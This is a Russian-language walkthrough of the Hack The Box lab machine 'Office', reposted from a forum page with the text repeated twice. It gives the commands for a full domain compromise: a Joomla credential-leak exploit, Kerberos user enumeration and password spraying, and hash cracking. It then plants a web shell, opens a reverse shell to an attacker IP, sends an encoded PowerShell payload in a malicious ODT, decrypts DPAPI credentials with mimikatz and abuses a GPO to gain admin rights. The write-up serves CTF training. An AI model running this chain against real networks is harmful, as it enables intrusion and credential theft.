stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как может быть атакован домен управления групповыми политиками в Active Directory. Но начнем мы с восстановленных запросов Kerberos и получим зашифрованные данные, которые позволят нам подобрать пароль пользователя. А затем воспользуемся уязвимостью в Joomla, чтобы получить сессию на удаленном сервере.
Наша цель — получение прав суперпользователя на машине Office с учебной площадки Hack The Box. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел множество открытых портов, что вполне естественно для контроллера домена:
или Зарегистрируйся.
или Зарегистрируйся
Результат сканирования CMS Joomla
Определяем версию (4.2.7) и тут же пробуем найти для нее эксплоиты. Первым делом идем в Google.
Поиск эксплоитов в Google
И сразу узнаём, что в нашей версии есть уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, что позволит нам получить учетные данные для подключения к базе данных. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.
Запускаем и указываем адрес:
или Зарегистрируйся
Результат работы эксплоита
Уязвимость заключается в неправильной проверке доступа. Эксплоит проверяет различные API, которые могут вернуть учетные данные для подключения к базе данных. Однако для авторизации в CMS полученный таким образом пароль не подошел, а других пользователей, кроме администратора, найти не удалось.
В этом случае используем недочет протокола Kerberos: на запрос тикета пользователя могут приходить ответы с разными кодами ошибок. Один — при запросе тикета для несуществующего пользователя, другой — в ответ на неверный пароль. Таким образом, можно методом перебора узнать, какие пользователи есть в домене. Для этого используем утилиту Для просмотра ссылки Войдиили Зарегистрируйся.
Результат перебора пользователей
Сохраняем найденных пользователей в файл и спреим полученный ранее пароль с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Результат спрея пароля
Теперь у нас есть валидная учетная запись, что позволяет провести базовую разведку в домене.
Первым делом получим список всех пользователей.
Список пользователей
Также необходимо сразу узнать, какие пользователи могут получить сессию через службу WinRM. Для этого запросим членов группы «Пользователи удаленного управления».
Содержимое группы Remote Management Users
Получить сессию на сервере можно всего через одного пользователя. Теперь стоит проверить общие ресурсы SMB.
Общие ресурсы SMB
Каталог SOC Analysis — нестандартный, поэтому нужно просмотреть его содержимое.
Содержимое общего SMB-ресурса
В общем каталоге находим дамп трафика. Скачиваем его для анализа.
Содержимое дампа трафика
Запрос AS-REQ содержит зашифрованную метку времени. В качестве ключа шифрования используется хеш пароля пользователя.
Содержимое сетевого пакета запроса AS-REQ
Используя Для просмотра ссылки Войдиили Зарегистрируйся hashcat, можно попытаться подобрать пароль пользователя. Если с использованием NTLM-хеша строки получится расшифровать метку времени, можно считать, что мы нашли пароль пользователя.
Форматы hashcat
Формируем хеш:
И отправляем на перебор в режиме 19900.
Результат подбора пароля
Пароль получен, теперь нужно его валидировать с помощью NetExec.
Результат проверки пароля
Пароль верный, но никаких новых доступов мы не получаем. Однако этот пароль подходит для учетной записи администратора Joomla.
Страница авторизации
Главная панель администратора
Страница System
Страница Templates
Затем выбираем New File, вводим имя и выбираем расширение .php.
Файлы шаблона
Создание нового файла
В окне исходного кода вставляем Для просмотра ссылки Войдиили Зарегистрируйся.
Исходный код шелла
Когда файл сохранен, можно перейти к шеллу и получить возможность выполнения команд.
Страница с веб‑шеллом
Запускаем листенер:
И с помощью Для просмотра ссылки Войдиили Зарегистрируйся выполняем реверс‑шелл от имени пользователя tstark.
Сессия пользователя tstark
В домашнем каталоге пользователя забираем первый флаг.
Флаг пользователя
Прослушиваемые порты
Скорее всего, на этом порте работает веб‑сервер, поэтому просмотрим каталог XAMPP.
Содержимое каталога C:\xampp\htdocs
Но чтобы получить доступ к порту, который доступен только для локального хоста, необходимо построить сетевой туннель. Для этого будем использовать Для просмотра ссылки Войдиили Зарегистрируйся.
На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннеля: туннелировать трафик с локального порта 8083 сервера на порт 8083 клиента.
В логах сервера мы должны увидеть сообщение о создании сессии.
Логи chisel server
Теперь можно обратиться к порту 8083 локальной машины через браузер.
Главная страница сайта
На сайте есть форма загрузки файлов, но приложение принимает не все форматы, а только документы OpenOffice.
Ошибка загрузки файла
Формат ODT — это шаблон документа LibreOffice. Я попробовал загрузить документ с макросом, никакой реакции веб‑сервер не дал, поэтому пришлось поискать последние эксплоиты.
Поиск эксплоитов в Google
Свежая уязвимость Для просмотра ссылки Войдиили Зарегистрируйся позволяет сформировать такой файл ODT, который при открытии выполнит произвольный код. Для формирования файла с нагрузкой используем Для просмотра ссылки Войди или Зарегистрируйся. В качестве исполняемой команды будем внедрять уже знакомый реверс‑шелл.
Теперь отправляем сформированный файл и сразу же получаем бэкконнект на указанный порт.
Сессия пользователя ppotts
Сохраненные учетные данные
Менеджер учетных данных содержит сохраненный пароль пользователя office\hhogan. Для хранения данных Credman использует механизм DPAPI. Блобы c данными хранятся в каталоге %APPDATA%\Roaming\Microsoft\Credentials.
Содержимое каталога Credentials
При попытке расшифровать BLOB без мастер‑ключа при помощи Для просмотра ссылки Войдиили Зарегистрируйся мы получим guid нужного нам ключа (поле guidMasterKey).
Содержимое блоба данных
Мастер‑ключ хранится в зашифрованном на ключевой информации пользователя виде в файле вот по такому пути:
Так как мы работаем в сессии пользователя, мастер‑ключ которого нам нужно получить, можем использовать механизм /rpc. Он поможет нам получить важную информацию, которая позволит расшифровать мастер‑ключ.
Получение мастер‑ключа
Теперь используем полученный мастер‑ключ, чтобы расшифровать блоб.
Учетные данные пользователя
Так как новый пользователь состоит в группе «Пользователи удаленного управления», можно получить доступ, используя службу WinRM. В этом нам поможет утилита Для просмотра ссылки Войдиили Зарегистрируйся.
Сессия пользователя hhogan
Информация о пользователе
Эта группа позволит нам управлять объектами групповой политики, а это путь к повышению привилегий. Получим все объекты групповой политики в домене. Нас интересуют только идентификаторы объектов и их имена.
Список GPO
Для изменения параметров GPO будем использовать инструмент Для просмотра ссылки Войдиили Зарегистрируйся. Изменим политику домена по умолчанию и добавим текущего пользователя в группу Administrators.
Изменение GPO
Периодически просматриваем членов группы Administrators. Вскоре там появится и наш добавленный пользователь.
Члены группы Administrators
Теперь у пользователя есть высокие привилегии и мы можем использовать PsExec для получения сессии от имени SYSTEM.
Флаг рута
Мы получили флаг рута, а значит, машина захвачена!
Наша цель — получение прав суперпользователя на машине Office с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.3 office.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел множество открытых портов, что вполне естественно для контроллера домена:
- 53 — DNS;
- 80 (HTTP) — веб‑сервер Apache httpd 2.4.56;
- 88 — Kerberos;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 443 (HTTPS) — веб‑сервер Apache httpd 2.4.56;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Точка входа
Когда имеем дело с Joomla, первым делом следует использовать специализированный сканер — Для просмотра ссылки Войдиjoomscan -u
Для просмотра ссылки Войди 
Определяем версию (4.2.7) и тут же пробуем найти для нее эксплоиты. Первым делом идем в Google.

И сразу узнаём, что в нашей версии есть уязвимость Для просмотра ссылки Войди
Запускаем и указываем адрес:
python3 CVE-2023-23752.py -u
Для просмотра ссылки Войди 
Уязвимость заключается в неправильной проверке доступа. Эксплоит проверяет различные API, которые могут вернуть учетные данные для подключения к базе данных. Однако для авторизации в CMS полученный таким образом пароль не подошел, а других пользователей, кроме администратора, найти не удалось.
В этом случае используем недочет протокола Kerberos: на запрос тикета пользователя могут приходить ответы с разными кодами ошибок. Один — при запросе тикета для несуществующего пользователя, другой — в ответ на неверный пароль. Таким образом, можно методом перебора узнать, какие пользователи есть в домене. Для этого используем утилиту Для просмотра ссылки Войди
kerbrute_linux_amd64 userenum --dc dc.office.htb -d office.htb xato-net-10-million-usernames.txt

Сохраняем найденных пользователей в файл и спреим полученный ранее пароль с помощью Для просмотра ссылки Войди
nxc smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!' --smb-timeout 3

Теперь у нас есть валидная учетная запись, что позволяет провести базовую разведку в домене.
Первым делом получим список всех пользователей.
nxc ldap 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --users

Также необходимо сразу узнать, какие пользователи могут получить сессию через службу WinRM. Для этого запросим членов группы «Пользователи удаленного управления».
nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --group 'Remote Management Users' --smb-timeout 3

Получить сессию на сервере можно всего через одного пользователя. Теперь стоит проверить общие ресурсы SMB.
nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares --smb-timeout 3

Каталог SOC Analysis — нестандартный, поэтому нужно просмотреть его содержимое.
impacket-smbclient 'office.htb/dwolfe:H0lOgrams4reTakIng0Ver754!'@10.10.11.3

В общем каталоге находим дамп трафика. Скачиваем его для анализа.
Точка опоры
Kerberos network dump
Открываем скачанный дамп трафика в Wireshark и в самом конце находим два пакета Kerberos.
Запрос AS-REQ содержит зашифрованную метку времени. В качестве ключа шифрования используется хеш пароля пользователя.

Используя Для просмотра ссылки Войди

Формируем хеш:
$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
И отправляем на перебор в режиме 19900.
hashcat -a 0 -m 19900 tstark_hash.txt rockyou.txt

Пароль получен, теперь нужно его валидировать с помощью NetExec.
nxc smb 10.10.11.3 -u tstark -p 'playboy69' --smb-timeout 3

Пароль верный, но никаких новых доступов мы не получаем. Однако этот пароль подходит для учетной записи администратора Joomla.


Joomla RCE
Администратор Joomla может загружать файлы на сервер, что дает возможность получить RCE. Для этого необходимо в меню перейти в System → Site Templates и выбрать шаблон.

Затем выбираем New File, вводим имя и выбираем расширение .php.


В окне исходного кода вставляем Для просмотра ссылки Войди

Когда файл сохранен, можно перейти к шеллу и получить возможность выполнения команд.

Запускаем листенер:
rlwrap nc -nlvp 4321
И с помощью Для просмотра ссылки Войди
RunasCs.exe tstark playboy69 -d office cmd.exe -r 10.10.16.143:4321

В домашнем каталоге пользователя забираем первый флаг.

Продвижение
Пользователь ppotts
Первым делом смотрим системные настройки. В списке прослушиваемых портов можно обнаружить 8083.netstat /an

Скорее всего, на этом порте работает веб‑сервер, поэтому просмотрим каталог XAMPP.

Но чтобы получить доступ к порту, который доступен только для локального хоста, необходимо построить сетевой туннель. Для этого будем использовать Для просмотра ссылки Войди
На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).
./chisel.bin server -p 8888 --reverse
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннеля: туннелировать трафик с локального порта 8083 сервера на порт 8083 клиента.
chisel.exe client 10.10.16.143:8888 R:8083:localhost:8083
В логах сервера мы должны увидеть сообщение о создании сессии.

Теперь можно обратиться к порту 8083 локальной машины через браузер.

На сайте есть форма загрузки файлов, но приложение принимает не все форматы, а только документы OpenOffice.

Формат ODT — это шаблон документа LibreOffice. Я попробовал загрузить документ с макросом, никакой реакции веб‑сервер не дал, поэтому пришлось поискать последние эксплоиты.

Свежая уязвимость Для просмотра ссылки Войди
python3 CVE-2023-2255.py --cmd 'powershell -e JABjA....4AdAAuAEMAbABvAHMAZQAoACkA' --output doc.odt
Теперь отправляем сформированный файл и сразу же получаем бэкконнект на указанный порт.

Пользователь hhogan
Одно из мест, которые всегда стоит проверять в поисках пути для повышения привилегий, — сохраненные учетные данные.cmdkey /list

Менеджер учетных данных содержит сохраненный пароль пользователя office\hhogan. Для хранения данных Credman использует механизм DPAPI. Блобы c данными хранятся в каталоге %APPDATA%\Roaming\Microsoft\Credentials.
Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\

При попытке расшифровать BLOB без мастер‑ключа при помощи Для просмотра ссылки Войди
mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E" "exit"

Мастер‑ключ хранится в зашифрованном на ключевой информации пользователя виде в файле вот по такому пути:
%APPDATA%\Roaming\Microsoft\Protect\<SID>\<guidMasterKey>
Так как мы работаем в сессии пользователя, мастер‑ключ которого нам нужно получить, можем использовать механизм /rpc. Он поможет нам получить важную информацию, которая позволит расшифровать мастер‑ключ.
mimikatz.exe "dpapi::masterkey /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "exit"

Теперь используем полученный мастер‑ключ, чтобы расшифровать блоб.
Код:
mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" "exit"

Так как новый пользователь состоит в группе «Пользователи удаленного управления», можно получить доступ, используя службу WinRM. В этом нам поможет утилита Для просмотра ссылки Войди
evil-winrm -u 'hhogan' -p 'H4ppyFtW183#' -i 10.10.11.3

Повышение привилегий
Просматриваем информацию о пользователе, его группы и привилегии и отмечаем, что пользователь состоит в группе GPO Managers.
Эта группа позволит нам управлять объектами групповой политики, а это путь к повышению привилегий. Получим все объекты групповой политики в домене. Нас интересуют только идентификаторы объектов и их имена.
Get-GPO -All | select Id,DisplayName

Для изменения параметров GPO будем использовать инструмент Для просмотра ссылки Войди
Код:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hhogan --GPOName "Default Domain Policy"
gpupdate /force

Периодически просматриваем членов группы Administrators. Вскоре там появится и наш добавленный пользователь.
net localgroup Administrators

Теперь у пользователя есть высокие привилегии и мы можем использовать PsExec для получения сессии от имени SYSTEM.
impacket-psexec 'office.htb/hhogan:H4ppyFtW183#'@10.10.11.3

Мы получили флаг рута, а значит, машина захвачена!